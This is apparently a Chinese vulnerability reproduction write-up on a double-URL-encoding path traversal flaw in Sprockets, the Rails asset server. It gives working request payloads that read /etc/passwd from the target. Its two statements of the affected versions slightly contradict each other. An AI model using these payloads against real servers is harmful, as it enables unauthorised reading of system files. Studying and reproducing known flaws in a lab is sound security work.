一、漏洞概述
Ruby On Rails 是著名的 Ruby Web 开发框架,它在开发环境中使用 Sprockets 作为静态文件服务器。Sprockets 是一个编译和分发静态资源文件的 Ruby 库。Sprockets 3.7.1及更低版本存在二次解码导致的路径遍历漏洞。攻击者可以%252e%252e/用来访问根目录并读取或执行目标服务器上的任何文件,../第一次转码:%2E%2E/,因为%也要进行二次编码,第二次编码就是:%252e%252e/。
二、影响范围
Sprockets < 3.7.1
三、访问页面
四、漏洞复现
1、/assets/file:%2f%2f/etc/passwd访问此路径,可得允许访问的路径白名单
2、构造payload访问,获取passwd文件
/assets/file:%2F%2F/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd